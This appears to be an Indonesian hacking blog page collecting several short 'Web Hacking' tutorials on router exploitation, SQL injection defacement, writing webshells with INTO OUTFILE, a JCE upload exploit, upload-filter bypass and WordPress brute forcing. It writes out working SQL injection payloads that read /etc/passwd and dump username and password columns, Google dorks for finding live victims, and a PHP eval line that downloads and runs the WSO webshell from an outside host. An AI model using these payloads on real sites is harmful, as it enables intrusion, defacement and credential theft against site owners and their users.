Cara install Routersploit di Android menggunakan Termux - No root

Cara install Routersploit di Android menggunakan Termux - No root

Web Hacking  

Apa itu Routersploit?? Routersploit adalah tools linux yang bisa digunakan untuk exploitasi pada router guna mendapatkan password admin router tersebut tanpa melakukan bruteforce,



Tools ini berjalan pada OS linux tapi kali ini kita akan menjalankanya di android,
Untuk menjalankanya di android kita menggunakan aplikasi tambahan yaitu Termux

Yang belum tau apa itu termux bisa membacanya di

Upload Shell With SQL Injection ( SQL Into OUTFILE)

Upload Shell With SQL Injection ( SQL Into OUTFILE)

Web Hacking  

Upload Shell With SQL Injection ( SQL Injection Into OUTFILE)

SQL Injection Into OUTFILE Upload shell tanpa mencari login admin...

sempat" menulis lagi di blog hehehe dari pada bosen gak ngapain" mending buat tutor ... sudah jarang masuk di dunia hacking karena sibuk di dunia nyata...
tapi insyaallah saya akan sempat share tutor ...

*Pastikan kalian sudah mengerti deface sql manual kalo belum lihat post sebelumnya

Deface SQL Manual

ohh ya jika kalian butuh tools" kunjungin juga blog pencari receh :'v 

404Hacking

TOols

 kali ini saya pakai bts pentesting lab, karena males cari live target 

pastikan kalian sudah di posisi seperti ini lalu di angka 3 ganti dengan load_file('/etc/passwd') , localhost:8080/btslab/vulnerability/ForumPosts.php?id=-1 union select 1,2,load_file('/etc/passwd'),4--+
HEX : load_file(0x2f6574632f706173737764)
jika tidak keluar isi dalam perutnya skip aja bro tapi kalau mau tahu isi usernya bisa lihat di target,com/phpinfo.php
karena gw pakai web kaya gini gak bakal keluar lah ya kampang :'v

lalu sekarang untuk mengupload shellnya jika sudah ketemu user langsung go aja keburu kuota gw habis ye
localhost:8080/btslab/vulnerability/ForumPosts.php?id=-1 union select 1,2,'Daffa Haxor',4 into outfile 'D:/USBWebserver v8.6/root/btslab/vulnerability/uploads/daffahaxor.php'--+

 kalo seperti berhasil ya fans... sekarang kita coba buka daffahaxor.php &.... 

sekarang saya pakai teknik memanggil script & kode seperti ini 
<?php eval("?>".file_get_contents("http://www.w0rms.com/down/wso.txt"));?>
lalu result seperti ini 

terimah kasih sudah melihat tutor jika ada yang bingung tanya ke FB Daffa Haxor klo gak di bales ya lu chat aja ke fanspage :'v

Deface SQL Manual

Deface SQL Manual

Web Hacking  

Malam guys, sebenarnya gw udah lama pengen nulis nih tutor sejak abad 16 M , tapi sibuk terus yah sekarang gw nulisnya o_oO ???
Dork kalian bisa cari di mbah google mbah bing atau mbah yandex
Dork : inurl:news.php?id= "crotz"

untuk mengetes keperawanan tambahkan ' string

terbukti nih web perawan ::::))))))) selanjutnya langsung UNION SELECT , kok di lain ORDER BY dulu ? itu kelamaan :) silahkan kalian UNION SELECT web sampe muncul angka
contoh target.com/news.php?id=-11' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--+

Nah ada angka 5 Kemudian kita mengecek versi database silahkan tambahkan ke angka yang muncul contoh di saya adalah 5 target.com/news.php?id=-11' UNION ALL SELECT 1,2,3,4,@@version,6,7,8,9,10--+ kalian tambahkan @@version atau version()

"5.5.53-0ubuntu0.14.04.1-log" kalo ada versi 4 proses lebih sulit kita harus menebak tabel 1 per satu

sekarang untuk memunculkan nama nama tabel silahkan tambahkan "group_concat(table_name)" di angka 5 dan "from+information_schema.tables+where+table_schema=database()" di akhiran contoh liat gambar

" ' UNION ALL SELECT 1,2,3,4,group_concat(table_name),6,7,8,9,10 from information_schema.tables where table_schema=database()--+ "

Langkah selanjutkan saya ingin melihat isi data user jadi untuk mencari tabel user. untuk melihat isi data user kita keluarkan column tambahkan ini & liat contoh :

" ' UNION ALL SELECT 1,2,3,4,group_concat(column_name),6,7,8,9,10 from information_schema.columns where table_schema=database()--+"

id_kat,kat,id_kat,kat,no_mou,nm_instansi,masa_b,laporan,id,id_kat,id,no_mou,Nama,perihal,ruang_l,masa_b,tindak_l,id_kat,id,nama_instansi,alamat,no_tlp,email,perihal_ks,ruang_l,kompetensi,komitmen,id,username,password

sekarang kita sudah tahu isi column tabel user yaitu username dan password untuk melihat isi username & password user tersebut lihat contoh :

Yeeee kita sudah dapat ^_^ sekarang tinggal cari login nya kalo itu kalian pake tool admin finder , ada di blog ini tool nya :) Happy Defacing
Penulis:RadicalHaxor

Deface JCE Remote File Upload Vulnerability

Deface JCE Remote File Upload Vulnerability

Web Hacking  

Pagi guys udah lama gak share tutor kali ini sibuk nah untuk mengisi waktu luang gw , mending share tutor & receh :'v

Dork :  inurl:"/index.php?option=com_jce"
kalian bisa cari dork yg lain di google

Download dulu tools JCE 3xploiter : Ikehh (Link Update 10/25/2017)

kalian masukkan dork ke google & search

gw udah dapet targetnya sekarang kalian buka tools JCE 3xploiter lalu masukkan target

Lalu kalian klik start, jika berhasil muncul gini KK

Lalu kalian buka itu web nya & upload shell kalian .
Sekian tutorial kali ini & jika kalian bingung tanyakan ke fanspage kami :)

Tutorial ditulis : RadicalHaxor

Trik Bypass upload shell Backdoor

Trik Bypass upload shell Backdoor

Web Hacking  

Mungkin dari kalian sering menjumpai web target yang sudah mendapatkan admin akses nya tapi gagal upload backdoor, salah satunya karena web target menolak upload file yang berektensi .php , nah disini ada sedikit trik untuk Bypass nya.


Dengan Rename nama Backdoor.
1.Upload shell berekstensi shell.jpg.PhP
Ingat, bukan .php tapi .PhP . Kadang server bingung dan akan di accept sebagai file .jpg

Wordpress Brute Force Python & Perl

Wordpress Brute Force Python & Perl

Web Hacking  

kali ini gue bakal share sc wp brute force python and perl script

nah di post an sebelumnya si Hawk_B404 sudah share alat brute force versi gothie 

nah disini w juga rada aneh si make punya gothie :v soalnya pas gue brute ehh ada tulisan 

"Wordpress Nao Foi Detectado" 

nah seperti diatas itu :'v ok disini w punya 2 tools wp brute force ini perl dan python :v seterah elu sih makenya yang mana sesuka hati elu aja heheheheh
ok ini dia penampakan tools yang python

tools ini lumayan cepet buat alat brute force wp :'v tertarik ?  download sadja :P
Download Here  <- link donlod udah 1 paket ama wordlist + commandnya 

yang perl pun sama mudah nya dengan script brute force python 

penampakannya seperti ini :) 

nah kurang lebih penampakannya seperti itu :) tertarik ? langsung comod sadja gan heheheh 

Download Here <- Link donlod udah 1 paket sama wordlist and command
nah itu adalah tools brute force wp versi python dan perl tertarik ? comod aja heheheh short link cuma bit ly :) hormati short link oce w juga nyari receh :) 

ok sekian terima kasih :)